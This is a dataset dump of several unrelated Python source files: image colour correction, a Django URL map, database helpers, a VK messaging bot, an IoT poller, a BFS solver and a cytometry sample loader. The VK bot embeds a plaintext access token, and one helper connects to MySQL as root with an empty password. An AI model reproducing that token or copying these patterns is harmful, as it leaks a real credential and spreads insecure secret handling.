color_matrix = np.zeros((len(np.unique(mask))-1, 4))\n\n # create headers\n headers = [\"chip_number\", \"r_avg\", \"g_avg\", \"b_avg\"]\n\n # declare row_counter variable and initialize to 0\n row_counter = 0\n\n # for each unique color chip calculate each average RGB value\n for i in np.unique(mask):\n if i != 0:\n chip = rgb_img[np.where(mask == i)]\n color_matrix[row_counter][0] = i\n color_matrix[row_counter][1] = np.mean(chip[:, 2])\n color_matrix[row_counter][2] = np.mean(chip[:, 1])\n color_matrix[row_counter][3] = np.mean(chip[:, 0])\n row_counter += 1\n\n return headers, color_matrix\n\n\ndef get_matrix_m(target_matrix, source_matrix):\n \"\"\" Calculate Moore-Penrose inverse matrix for use in calculating transformation_matrix\n\n Inputs:\n target_matrix = a 22x4 matrix containing the average red value, average green value, and average blue value\n for each color chip.\n source_matrix = a 22x4 matrix containing the average red value, average green value, and average blue value\n for each color chip.\n\n Outputs:\n matrix_a = a concatenated 22x9 matrix of source_matrix red, green, and blue values to the powers 1, 2, 3\n matrix_m = a 9x22 Moore-Penrose inverse matrix\n matrix_b = a 22x9 matrix of linear, square, and cubic rgb values from target_img\n\n\n :param target_matrix: numpy.ndarray\n :param source_matrix: numpy.ndarray\n :return matrix_a: numpy.ndarray\n :return matrix_m: numpy.ndarray\n :return matrix_b: numpy.ndarray\n\n \"\"\"\n\n # Autoincrement the device counter\n params.device += 1\n\n # if the number of chips in source_img match the number of chips in target_matrix\n if np.shape(target_matrix) == np.shape(source_matrix):\n t_cc, t_r, t_g, t_b = np.split(target_matrix, 4, 1)\n s_cc, s_r, s_g, s_b = np.split(source_matrix, 4, 1)\n else:\n combined_matrix = np.zeros((np.ma.size(source_matrix, 0), 7))\n row_count = 0\n for r in range(0, np.ma.size(target_matrix, 0)):\n for i in range(0, np.ma.size(source_matrix, 0)):\n if target_matrix[r][0] == source_matrix[i][0]:\n combined_matrix[row_count][0] = target_matrix[r][0]\n combined_matrix[row_count][1] = target_matrix[r][1]\n combined_matrix[row_count][2] = target_matrix[r][2]\n combined_matrix[row_count][3] = target_matrix[r][3]\n combined_matrix[row_count][4] = source_matrix[i][1]\n combined_matrix[row_count][5] = source_matrix[i][2]\n combined_matrix[row_count][6] = source_matrix[i][3]\n row_count += 1\n t_cc, t_r, t_g, t_b, s_r, s_g, s_b = np.split(combined_matrix, 7, 1)\n t_r2 = np.square(t_r)\n t_r3 = np.power(t_r, 3)\n t_g2 = np.square(t_g)\n t_g3 = np.power(t_g, 3)\n t_b2 = np.square(t_b)\n t_b3 = np.power(t_b, 3)\n s_r2 = np.square(s_r)\n s_r3 = np.power(s_r, 3)\n s_g2 = np.square(s_g)\n s_g3 = np.power(s_g, 3)\n s_b2 = np.square(s_b)\n s_b3 = np.power(s_b, 3)\n\n # create matrix_a\n matrix_a = np.concatenate((s_r, s_g, s_b, s_b2, s_g2, s_r2, s_b3, s_g3, s_r3), 1)\n # create matrix_m\n matrix_m = np.linalg.solve(np.matmul(matrix_a.T, matrix_a), matrix_a.T)\n # create matrix_b\n matrix_b = np.concatenate((t_r, t_r2, t_r3, t_g, t_g2, t_g3, t_b, t_b2, t_b3), 1)\n return matrix_a, matrix_m, matrix_b\n\n\ndef calc_transformation_matrix(matrix_m, matrix_b):\n \"\"\" Calculates transformation matrix (transformation_matrix).\n\n Inputs:\n matrix_m = a 9x22 Moore-Penrose inverse matrix\n matrix_b = a 22x9 matrix of linear, square, and cubic rgb values from target_img\n\n Outputs:\n 1-t_det = \"deviance\" the measure of how greatly the source image deviates from the target image's color space.\n Two images of the same color space should have a deviance of ~0.\n transformation_matrix = a 9x9 matrix of linear, square, and cubic transformation coefficients\n\n\n :param matrix_m: numpy.ndarray\n :param matrix_b: numpy.ndarray\n :return red: numpy.ndarray\n :return blue: numpy.ndarray\n :return green: numpy.ndarray\n :return 1-t_det: float\n :return transformation_matrix: numpy.ndarray\n \"\"\"\n # check matrix_m and matrix_b are matrices\n if len(np.shape(matrix_b)) != 2 or len(np.shape(matrix_m)) != 2:\n fatal_error(\"matrix_m and matrix_b must be n x m matrices such that m,n != 1.\")\n # check matrix_b has 9 columns\n if np.shape(matrix_b)[1] != 9:\n fatal_error(\"matrix_b must have 9 columns.\")\n # check matrix_m and matrix_b for multiplication\n if np.shape(matrix_m)[0] != np.shape(matrix_b)[1] or np.shape(matrix_m)[1] != np.shape(matrix_b)[0]:\n fatal_error(\"Cannot multiply matrices.\")\n\n # Autoincrement the device counter\n params.device += 1\n\n t_r, t_r2, t_r3, t_g, t_g2, t_g3, t_b, t_b2, t_b3 = np.split(matrix_b, 9, 1)\n\n # multiply each 22x1 matrix from target color space by matrix_m\n red = np.matmul(matrix_m, t_r)\n green = np.matmul(matrix_m, t_g)\n blue = np.matmul(matrix_m, t_b)\n\n red2 = np.matmul(matrix_m, t_r2)\n green2 = np.matmul(matrix_m, t_g2)\n blue2 = np.matmul(matrix_m, t_b2)\n\n red3 = np.matmul(matrix_m, t_r3)\n green3 = np.matmul(matrix_m, t_g3)\n blue3 = np.matmul(matrix_m, t_b3)\n\n # concatenate each product column into 9X9 transformation matrix\n transformation_matrix = np.concatenate((red, green, blue, red2, green2, blue2, red3, green3, blue3), 1)\n\n # find determinant of transformation matrix\n t_det = np.linalg.det(transformation_matrix)\n\n return 1-t_det, transformation_matrix\n\n\ndef apply_transformation_matrix(source_img, target_img, transformation_matrix):\n \"\"\" Apply the transformation matrix to the source_image.\n\n Inputs:\n source_img = an RGB image to be corrected to the target color space\n target_img = an RGB image with the target color space\n transformation_matrix = a 9x9 matrix of tranformation coefficients\n\n Outputs:\n corrected_img = an RGB image in correct color space\n\n :param source_img: numpy.ndarray\n :param target_img: numpy.ndarray\n :param transformation_matrix: numpy.ndarray\n :return corrected_img: numpy.ndarray\n \"\"\"\n # check transformation_matrix for 9x9\n if np.shape(transformation_matrix) != (9, 9):\n fatal_error(\"transformation_matrix must be a 9x9 matrix of transformation coefficients.\")\n # Check for RGB input\n if len(np.shape(source_img)) != 3:\n fatal_error(\"Source_img is not an RGB image.\")\n\n # Autoincrement the device counter\n params.device += 1\n\n # split transformation_matrix\n red, green, blue, red2, green2, blue2, red3, green3, blue3 = np.split(transformation_matrix, 9, 1)\n\n # find linear, square, and cubic values of source_img color channels\n source_b, source_g, source_r = cv2.split(source_img)\n source_b2 = np.square(source_b)\n source_b3 = np.power(source_b, 3)\n source_g2 = np.square(source_g)\n source_g3 = np.power(source_g, 3)\n source_r2 = np.square(source_r)\n source_r3 = np.power(source_r, 3)\n\n # apply linear model to source color channels\n b = 0 + source_r * blue[0] + source_g * blue[1] + source_b * blue[2] + source_r2 * blue[3] + source_g2 * blue[\n 4] + source_b2 * blue[5] + source_r3 * blue[6] + source_g3 * blue[7] + source_b3 * blue[8]\n g = 0 + source_r * green[0] + source_g * green[1] + source_b * green[2] + source_r2 * green[3] + source_g2 * green[\n 4] + source_b2 * green[5] + source_r3 * green[6] + source_g3 * green[7] + source_b3 * green[8]\n r = 0 + source_r * red[0] + source_g * red[1] + source_b * red[2] + source_r2 * red[3] + source_g2 * red[\n 4] + source_b2 * red[5] + source_r3 * red[6] + source_g3 * red[7] + source_b3 * red[8]\n\n # merge corrected color channels onto source_image\n bgr = [b, g, r]\n corrected_img = cv2.merge(bgr)\n\n #round corrected_img elements to be within range and of the correct data type\n corrected_img = np.rint(corrected_img)\n corrected_img[np.where(corrected_img > 255)] = 255\n corrected_img = corrected_img.astype(np.uint8)\n\n if params.debug == \"print\":\n # If debug is print, save the image to a file\n print_image(corrected_img, os.path.join(params.debug_outdir, str(params.device) + \"_corrected.png\"))\n elif params.debug == \"plot\":\n # If debug is plot, print a horizontal view of source_img, corrected_img, and target_img to the plotting device\n # plot horizontal comparison of source_img, corrected_img (with rounded elements) and target_img\n plot_image(np.hstack([source_img, corrected_img, target_img]))\n\n # return corrected_img\n return corrected_img\n\n\ndef save_matrix(matrix, filename):\n \"\"\" Serializes a matrix as an numpy.ndarray object and save to a .npz file.\n Inputs:\n matrix = a numpy.matrix\n filename = name of file to which matrix will be saved. Must end in .npz\n\n :param matrix: numpy.ndarray\n :param filename: string ending in \".npz\"\n \"\"\"\n if \".npz\" not in filename:\n fatal_error(\"File must be an .npz file.\")\n\n # Autoincrement the device counter\n params.device += 1\n\n np.savez(filename, matrix)\n\n\ndef load_matrix(filename):\n \"\"\" Deserializes from file an numpy.ndarray object as a matrix\n Inputs:\n filename = .npz file to which a numpy.matrix or numpy.ndarray is saved\n\n Outputs:\n matrix = a numpy.matrix\n\n :param filename: string ending in \".npz\"\n :return matrix: numpy.matrix\n \"\"\"\n\n # Autoincrement the device counter\n params.device += 1\n\n matrix_file = np.load(filename, encoding=\"latin1\")\n matrix = matrix_file['arr_0']\n np.asmatrix(matrix)\n\n return matrix\n\n\ndef correct_color(target_img, target_mask, source_img, source_mask, output_directory):\n \"\"\"Takes a target_img with preferred color_space and converts source_img to that color_space.\n Inputs:\n target_img = an RGB image with color chips visualized\n source_img = an RGB image with color chips visualized\n target_mask = a gray-scale image with color chips and background each represented with unique values\n target_mask = a gray-scale image with color chips and background each represented as unique values\n output_directory = a file path to which outputs will be saved\n Outputs:\n target_matrix = saved in .npz file, a 22x4 matrix containing the average red value, average green value, and\n average blue value for each color chip.\n source_matrix = saved in .npz file, a 22x4 matrix containing the average red value, average green value, and\n average blue value for each color chip.\n transformation_matrix = saved in .npz file, a 9x9 transformation matrix\n\n corrected_img = the source_img converted to the correct color space.\n\n\n :param target_img: numpy.ndarray\n :param source_img: numpy.ndarray\n :param target_mask: numpy.ndarray\n :param source_mask: numpy.ndarray\n :param output_directory: string\n :return target_matrix: numpy.matrix\n :return source_matrix: numpy.matrix\n :return transformation_matrix: numpy.matrix\n :return corrected_img: numpy.ndarray\n \"\"\"\n # check output_directory, if it does not exist, create\n if not os.path.exists(output_directory):\n try:\n os.makedirs(output_directory)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(output_directory):\n pass\n else:\n fatal_error(\"Error creating output_directory.\")\n\n # get color matrices for target and source images\n target_headers, target_matrix = get_color_matrix(target_img, target_mask)\n source_headers, source_matrix = get_color_matrix(source_img, source_mask)\n\n # save target and source matrices\n save_matrix(target_matrix, os.path.join(output_directory, \"target_matrix.npz\"))\n save_matrix(source_matrix, os.path.join(output_directory, \"source_matrix.npz\"))\n\n # get matrix_m\n matrix_a, matrix_m, matrix_b = get_matrix_m(target_matrix=target_matrix, source_matrix=source_matrix)\n # calculate transformation_matrix and save\n deviance, transformation_matrix = calc_transformation_matrix(matrix_m, matrix_b)\n save_matrix(transformation_matrix, os.path.join(output_directory, \"transformation_matrix.npz\"))\n\n # apply transformation\n corrected_img = apply_transformation_matrix(source_img, target_img, transformation_matrix)\n\n return target_matrix, source_matrix, transformation_matrix, corrected_img\n\n\n","sub_path":"plantcv/plantcv/transform/color_correction.py","file_name":"color_correction.py","file_ext":"py","file_size_in_byte":14144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"447630426","text":"from venv import logger\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom User import User, Base\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\norm_url='mysql+pymysql://root:@localhost:3306/newdb'\n\ndef get_user_engine(username):\n try:\n engine=create_engine(orm_url,echo=True)\n session=sessionmaker()\n session.configure(bind=engine)\n Base.metadata.create_all(engine)\n s=session()\n ret=s.query(User).filter_by(username=username).first()\n return ret\n except Exception as e:\n logger.debug('Exception is %s '%e)\n return None\n\ndef conn(url):\n try:\n engine=create_engine(url,echo=True)\n conn=engine.connect()\n return conn\n except Exception as e :\n print('Exception is %s '% e)\n return None\n\ndef getUser():\n s=conn(orm_url)\n\n\nif __name__=='__main__':\n getUser()","sub_path":"flask_db.py","file_name":"flask_db.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"304933100","text":"\"\"\"Zmapi URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom Zmfen import views as fenview\nurlpatterns = [\n url(r'^testurldecode/',fenview.decryptreturnurl),\n url(r'^getinvokeurl/',fenview.getinvokeurl,name = \"getinvokeurlview\"),\n url(r'^testzmfen/',fenview.index,name=\"getzmfenview\"),\n url(r'^login/',fenview.loginview,name=\"loginview\"),\n # url(r'^insert/',fenview.insert),\n # url(r'^show/',fenview.list),\n url(r'^admin/', admin.site.urls),\n]\n","sub_path":"Zmapi/Zmapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"262196616","text":"import vk\r\nimport os\r\nimport csv\r\nimport random\r\nfrom time import sleep\r\ntoken = '3b2aacc61fd6d368c281b6e036216acb8e960095656d9978caab5c90a546d02ab998e96cad0a9845db7fe'\r\nsession = vk.Session(access_token=token)\r\nvk_api = vk.API(session, version = 5.92)\r\n\r\n\r\ndef writeElem(pathword):\r\n path = \"D:/projects/vkw2d/\" + pathword + \"/id\" + str(curus) + \".csv\"\r\n al = len(curmes) - 15\r\n elem = str(curmes[-al:])\r\n if os.path.isfile(path):\r\n with open(path, 'a', newline = '') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',')\r\n writer.writerow([elem])\r\n else:\r\n with open(path, 'w', newline = '') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',')\r\n writer.writerow([elem])\r\n\r\ndef readElem(pathword):\r\n path = \"D:/projects/vkw2d/\" + pathword + \"/id\" + str(curus) + \".csv\"\r\n if os.path.isfile(path):\r\n with open(path, 'r') as csvfile:\r\n reader = csv.reader(csvfile, delimiter = \",\")\r\n list = []\r\n for row in reader:\r\n list.append(row)\r\n result = random.choice(list)\r\n else:\r\n result = \"К сожалению, ваш список пуст\"\r\n return result\r\n\r\ndef readAll(pathword):\r\n path = \"D:/projects/vkw2d/\" + pathword + \"/id\" + str(curus) + \".csv\"\r\n if os.path.isfile(path):\r\n with open(path, 'r') as csvfile:\r\n reader = csv.reader(csvfile, delimiter = \",\")\r\n list = []\r\n for row in reader:\r\n list.append(row)\r\n result = '\\n'.join(map(str, list))\r\n else:\r\n result = \"К сожалению, ваш список пуст\"\r\n\r\n return result\r\n\r\ndef work():\r\n while True:\r\n\r\n cnt = 200\r\n users_to_answer = []\r\n messages_to_answer = []\r\n while cnt == 200:\r\n i = 0\r\n msg = vk_api.messages.getConversations(\r\n filter = \"unread\",\r\n count = cnt,\r\n offset = i\r\n )\r\n try:\r\n cnt = msg['0']\r\n except TypeError:\r\n cnt = 0\r\n j = 1\r\n while j<=cnt:\r\n users_to_answer.append(msg[str(j)]['conversation']['peer']['id'])\r\n messages_to_answer.append(msg[str(j)]['conversation']['last_message_id'])\r\n j += 1\r\n sleep(0.33)\r\n\r\n while len(users_to_answer)>0:\r\n curid = messages_to_answer[0]\r\n curus = users_to_answer[0]\r\n curmes = vk_api.messages.getById(message_ids=curid)[1]['body']\r\n curmesn = curmes.lower()\r\n #al = len(curmes) - 14\r\n if \"привет\" in curmesn:\r\n answer = 'Я запоминаю, что люди хотят сделать, а потом, когда у них появляется время, я подсказываю им варианты.' \\\r\n 'Чтобы записать что-то в список, напиши в сообщении \"Записать книгу\", \"Записать фильм\", \"Записать блюдо\"' \\\r\n 'или \"Записать место\", а также название. Например, \"Записать книгу 3 мушкетера\" или' \\\r\n '\"Записать фильм Один дома\". Чтобы выбрать элемент из списка, ' \\\r\n 'напиши в сообщении \"Выбрать книгу\", \"Выбрать фильм\", \"Выбрать блюдо\" или \"Выбрать место\".' \\\r\n 'Если хочешь получить весь список, который ты составил, напиши \"Все книги\", Все фильмы\", \"Все блюда\"' \\\r\n 'или \"Все места\"' \\\r\n #'Если тебе не понравится то, что я предложил, напиши слово \"другое\", и тогда я подскажу что-то еще из' \\\r\n #'твоего списка или списка других пользователей'\r\n elif \"записать книгу\" in curmesn:\r\n writeElem(\"books\")\r\n answer = \"Отлично, книга записана!\"\r\n\r\n elif \"записать фильм\" in curmesn:\r\n writeElem(\"films\")\r\n answer = \"Отлично, фильм записан!\"\r\n\r\n elif \"записать блюдо\" in curmesn:\r\n writeElem(\"dishes\")\r\n answer = \"Отлично, книга записана!\"\r\n\r\n elif \"записать место\" in curmesn:\r\n writeElem(\"places\")\r\n answer = \"Отлично, книга записана!\"\r\n\r\n elif \"выбрать книгу\" in curmesn:\r\n answer = readElem(\"books\")\r\n\r\n elif \"выбрать фильм\" in curmesn:\r\n answer = readElem(\"films\")\r\n\r\n elif \"выбрать блюдо\" in curmesn:\r\n answer = readElem(\"dishes\")\r\n\r\n elif \"выбрать место\" in curmesn:\r\n answer = readElem(\"places\")\r\n\r\n elif \"все книги\" in curmesn:\r\n answer = readAll(\"books\")\r\n\r\n elif \"все фильмы\" in curmesn:\r\n answer = readAll(\"films\")\r\n\r\n elif \"все блюда\" in curmesn:\r\n answer = readAll(\"dishes\")\r\n\r\n elif \"все места\" in curmesn:\r\n answer = readAll(\"places\")\r\n\r\n else:\r\n answer = \"Я тебя не понял :(\"\r\n vk_api.messages.send(user_id = curus, message = answer)\r\n users_to_answer.pop(0)\r\n messages_to_answer.pop(0)\r\n sleep(0.33)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"574395473","text":"from app import models, db\nfrom config import ACCESS_TOKEN, SPARK_OCCUPANCY\nimport requests, sched, time\n\n\ns = sched.scheduler(time.time, time.sleep)\n\ndef repeated_code(sc):\n\tlocations = models.Location.query.all()\n\n\t#Set up the spark api compliant post ? parameters\n\tpayload = {'access_token': ACCESS_TOKEN}\n\n\tfor l in locations:\n\t\turl = 'https://api.particle.io/v1/devices/' + l.device_id + '/' + SPARK_OCCUPANCY\n\t\tr = requests.get(url,params=payload)\n\t\t#Update the occupancy count stored in the database based on the value read in from spark core.\n\t\tif r.status_code == requests.codes.ok:\n\t\t\tjs = r.json()\n\t\t\tif js['result'] is not None:\n\t\t\t\tl.occupancy_count = js['result']\n\t\t\t\tdb.session.commit()\n\tsc.enter(2,1,repeated_code, (sc,))\n\ns.enter(2,1,repeated_code,(s,))\ns.run()","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"404683529","text":"from collections import deque\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\ndir = [\n [],\n [0, 1, 2, 3],\n [0, 2],\n [1, 3],\n [0, 1],\n [1, 2],\n [2, 3],\n [0, 3]\n]\ndef bfs(x, y):\n\n Q.append((x, y))\n\n visited[x][y] = 1\n while len(Q) != 0:\n\n x, y = Q.popleft()\n\n for d in dir[nxm[x][y]]:\n tx = x+dx[d]\n ty = y+dy[d]\n if 1 <= tx <= N and 1 <= ty <= M and visited[tx][ty] == 0 and (d+2) % 4 in dir[nxm[tx][ty]]:\n visited[tx][ty] = visited[x][y] + 1\n if visited[tx][ty] > time:\n return\n Q.append((tx, ty))\n\n\nT = int(input())\nfor test in range(T):\n Q = deque()\n N, M, x, y, time = map(int, input().split())\n\n nxm = [[0 for _ in range(M+2)]for _ in range(N+2)]\n visited = [[0 for _ in range(M+2)] for _ in range(N+2)]\n ans = 0\n\n for z in range(1, N+1):\n nxm[z] = [0] + list(map(int, input().split())) + [0]\n\n bfs(x+1, y+1)\n\n for i in range(1, N+1):\n for j in range(1, M+1):\n if 0 < visited[i][j] <= time:\n ans += 1\n print(\"#%d %d\" % (test+1, ans))","sub_path":"알고리즘문제/탈주범검거.py","file_name":"탈주범검거.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"461897581","text":"import csv\n\n\nclass CSVModule:\n def import_csv(self, csv_path):\n with open(csv_path, 'r', newline='') as rds:\n list_ = []\n for rd in csv.reader(rds):\n try:\n list_.append(rd)\n except Exception as ex:\n print(ex)\n # logger.debug('csv import error [{}]'.format(ex))\n\n return list_\n\n def export_csv(self, csv_path, list_):\n with open(csv_path, 'a', newline='')as csvf:\n #\n writer = csv.writer(csvf)\n\n for li in list_:\n # li = [1, 2, 3] 형식이어야 함.\n try:\n writer.writerow(li)\n except Exception as ex:\n print(ex)\n # logger.debug('csv export error [{}]'.format(ex))\n\n return True\n","sub_path":"PrivateModules/Etc/csv_module.py","file_name":"csv_module.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"358680630","text":"\"\"\"\nSample class\n\"\"\"\n\nimport flowio\nimport os\nfrom pathlib import Path\nimport io\nfrom tempfile import TemporaryFile\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn\nfrom bokeh.layouts import gridplot\nfrom bokeh.models import Title\nimport warnings\n# noinspection PyProtectedMember\nfrom .._models.transforms import _transforms\n# noinspection PyProtectedMember\nfrom .._models.transforms._matrix import Matrix\nfrom .._utils import plot_utils, qc_utils\n\n\nclass Sample(object):\n \"\"\"\n Represents a single FCS sample from an FCS file, NumPy array or Pandas\n DataFrame.\n\n :param fcs_path_or_data: FCS data, can be either:\n\n - a file path or file handle to an FCS file\n - a pathlib Path object\n - a FlowIO FlowData object\n - a NumPy array of FCS event data (must provide channel_labels)\n - a Pandas DataFrame containing FCS event data (channel labels as column labels)\n\n :param channel_labels: A list of strings or a list of tuples to use for the channel\n labels. Required if fcs_path_or_data is a NumPy array\n\n :param compensation: Compensation matrix, which can be a:\n\n - Matrix instance\n - NumPy array\n - CSV file path\n - pathlib Path object to a CSV or TSV file\n - string of CSV text\n\n :param null_channel_list: List of PnN labels for channels that were collected\n but do not contain useful data. Note, this should only be used if there were\n truly no fluorochromes used targeting those detectors and the channels\n do not contribute to compensation.\n \"\"\"\n def __init__(\n self,\n fcs_path_or_data,\n channel_labels=None,\n compensation=None,\n null_channel_list=None,\n ignore_offset_error=False\n ):\n \"\"\"\n Create a Sample instance\n \"\"\"\n # inspect our fcs_path_or_data argument\n if isinstance(fcs_path_or_data, str):\n # if a string, we only handle file paths, so try creating a FlowData object\n flow_data = flowio.FlowData(\n fcs_path_or_data,\n ignore_offset_error=ignore_offset_error\n )\n elif isinstance(fcs_path_or_data, io.IOBase):\n flow_data = flowio.FlowData(\n fcs_path_or_data,\n ignore_offset_error=ignore_offset_error\n )\n elif isinstance(fcs_path_or_data, Path):\n flow_data = flowio.FlowData(\n fcs_path_or_data.open('rb'),\n ignore_offset_error=ignore_offset_error\n )\n elif isinstance(fcs_path_or_data, flowio.FlowData):\n flow_data = fcs_path_or_data\n elif isinstance(fcs_path_or_data, np.ndarray):\n tmp_file = TemporaryFile()\n flowio.create_fcs(\n fcs_path_or_data.flatten().tolist(),\n channel_names=channel_labels,\n file_handle=tmp_file\n )\n\n flow_data = flowio.FlowData(tmp_file)\n elif isinstance(fcs_path_or_data, pd.DataFrame):\n tmp_file = TemporaryFile()\n\n # Handle MultiIndex columns since that is what the as_dataframe method creates.\n if fcs_path_or_data.columns.nlevels > 1:\n pnn_labels = fcs_path_or_data.columns.get_level_values(0)\n pns_labels = fcs_path_or_data.columns.get_level_values(1)\n else:\n pnn_labels = fcs_path_or_data.columns\n pns_labels = None\n\n flowio.create_fcs(\n fcs_path_or_data.values.flatten().tolist(),\n channel_names=pnn_labels,\n file_handle=tmp_file,\n opt_channel_names=pns_labels\n )\n\n flow_data = flowio.FlowData(tmp_file)\n else:\n raise ValueError(\"'fcs_path_or_data' is not a supported type\")\n\n try:\n self.version = flow_data.header['version']\n except KeyError:\n self.version = None\n\n self.null_channels = null_channel_list\n self.event_count = flow_data.event_count\n self.channels = flow_data.channels\n self.pnn_labels = list()\n self.pns_labels = list()\n self.fluoro_indices = list()\n self.scatter_indices = list()\n self.time_index = None\n\n channel_gain = []\n channel_lin_log = []\n channel_range = []\n self.metadata = flow_data.text\n\n for n in sorted([int(k) for k in self.channels.keys()]):\n channel_label = self.channels[str(n)]['PnN']\n self.pnn_labels.append(channel_label)\n\n if 'p%dg' % n in self.metadata:\n channel_gain.append(float(self.metadata['p%dg' % n]))\n else:\n channel_gain.append(1.0)\n\n if 'p%dr' % n in self.metadata:\n channel_range.append(float(self.metadata['p%dr' % n]))\n else:\n channel_range.append(None)\n\n if 'p%de' % n in self.metadata:\n (decades, log0) = [\n float(x) for x in self.metadata['p%de' % n].split(',')\n ]\n if log0 == 0 and decades != 0:\n log0 = 1.0 # FCS std states to use 1.0 for invalid 0 value\n channel_lin_log.append((decades, log0))\n else:\n channel_lin_log.append((0.0, 0.0))\n\n if channel_label.lower()[:4] not in ['fsc-', 'ssc-', 'time']:\n self.fluoro_indices.append(n - 1)\n elif channel_label.lower()[:4] in ['fsc-', 'ssc-']:\n self.scatter_indices.append(n - 1)\n elif channel_label.lower() == 'time':\n self.time_index = n - 1\n\n if 'PnS' in self.channels[str(n)]:\n self.pns_labels.append(self.channels[str(n)]['PnS'])\n else:\n self.pns_labels.append('')\n\n self._flowjo_pnn_labels = [label.replace('/', '_') for label in self.pnn_labels]\n\n # Start processing the event data. First, we'll save the unprocessed events\n self._orig_events = np.reshape(\n np.array(flow_data.events, dtype=float),\n (-1, flow_data.channel_count)\n )\n\n # Event data must be scaled according to channel gain, as well\n # as corrected for proper lin/log display, and the time channel\n # scaled by the 'timestep' keyword value (if present).\n # This is the only pre-processing we will do on raw events\n raw_events = self._orig_events.copy()\n\n # Note: The time channel is scaled by the timestep (if present),\n # but should not be scaled by any gain value present in PnG.\n # It seems common for cytometers to include a gain value for the\n # time channel that matches the fluoro channels. Not sure why\n # they do this but it makes no sense to have an amplifier gain\n # on the time data. Here, we set any time gain to 1.0.\n if self.time_index is not None:\n channel_gain[self.time_index] = 1.0\n\n if 'timestep' in self.metadata and self.time_index is not None:\n time_step = float(self.metadata['timestep'])\n raw_events[:, self.time_index] = raw_events[:, self.time_index] * time_step\n\n for i, (decades, log0) in enumerate(channel_lin_log):\n if decades > 0:\n raw_events[:, i] = (10 ** (decades * raw_events[:, i] / channel_range[i])) * log0\n\n self._raw_events = raw_events / channel_gain\n self._comp_events = None\n self._transformed_events = None\n self.compensation = None\n self.transform = None\n self._subsample_count = None\n self._subsample_seed = None\n\n if compensation is not None:\n self.apply_compensation(compensation)\n\n # if filtering any events, save those in case they want to be retrieved\n self.negative_scatter_indices = None\n self.anomalous_indices = None\n self.subsample_indices = None\n\n try:\n self.acquisition_date = self.metadata['date']\n except KeyError:\n self.acquisition_date = None\n\n # TODO: Allow user to set some sort of Sample ID or the orig filename,\n # would be useful for Samples created from data arrays or if\n # 2 FCS files had the same file name.\n try:\n self.original_filename = self.metadata['fil']\n except KeyError:\n if isinstance(fcs_path_or_data, str):\n self.original_filename = os.path.basename(fcs_path_or_data)\n else:\n self.original_filename = None\n\n def __repr__(self):\n return (\n f'{self.__class__.__name__}('\n f'v{self.version}, {self.original_filename}, '\n f'{len(self.pnn_labels)} channels, {self.event_count} events)'\n )\n\n def filter_negative_scatter(self, reapply_subsample=True):\n \"\"\"\n Determines indices of negative scatter events, optionally re-subsample the Sample events afterward\n\n :param reapply_subsample: Whether to re-subsample the Sample events after filtering. Default is True\n \"\"\"\n scatter_indices = []\n for i, p in enumerate(self.pnn_labels):\n if p.lower()[:4] in ['fsc-', 'ssc-']:\n scatter_indices.append(i)\n\n is_neg = np.where(self._raw_events[:, scatter_indices] < 0)[0]\n\n self.negative_scatter_indices = is_neg\n\n if reapply_subsample and self._subsample_count is not None:\n self.subsample_events(self._subsample_count, self._subsample_seed)\n\n def filter_anomalous_events(\n self,\n random_seed=1,\n p_value_threshold=0.03,\n ref_size=10000,\n channel_labels_or_numbers=None,\n reapply_subsample=True,\n plot=False\n ):\n \"\"\"\n Anomalous events are determined via Kolmogorov-Smirnov (KS) statistical\n test performed on each channel. The reference distribution is chosen based on\n the difference from the median.\n\n :param random_seed: Random seed used for initializing the anomaly detection routine. Default is 1\n :param p_value_threshold: Controls the sensitivity for anomalous event detection. The value is the p-value\n threshold for the KS test. A higher value will filter more events. Default is 0.03\n :param ref_size: The number of reference groups to sample from the 'stable' regions. Default is 3\n :param channel_labels_or_numbers: List of fluorescent channel labels or numbers (not indices)\n to evaluate for anomalous events. If None, then all fluorescent channels will be evaluated.\n Default is None\n :param reapply_subsample: Whether to re-subsample the Sample events after filtering. Default is True\n :param plot: Whether to plot the intermediate data for the provided channel labels\n :return: None\n \"\"\"\n rng = np.random.RandomState(seed=random_seed)\n\n logicle_xform = _transforms.LogicleTransform(\n 'my_xform',\n param_t=262144,\n param_w=1.0,\n param_m=4.5,\n param_a=0\n )\n xform_events = self._transform(logicle_xform)\n\n eval_indices = []\n eval_labels = []\n if channel_labels_or_numbers is not None:\n for label_or_num in channel_labels_or_numbers:\n c_idx = self.get_channel_index(label_or_num)\n eval_indices.append(c_idx)\n else:\n eval_indices = self.fluoro_indices\n\n for idx in eval_indices:\n eval_labels.append(self.pnn_labels[idx])\n\n 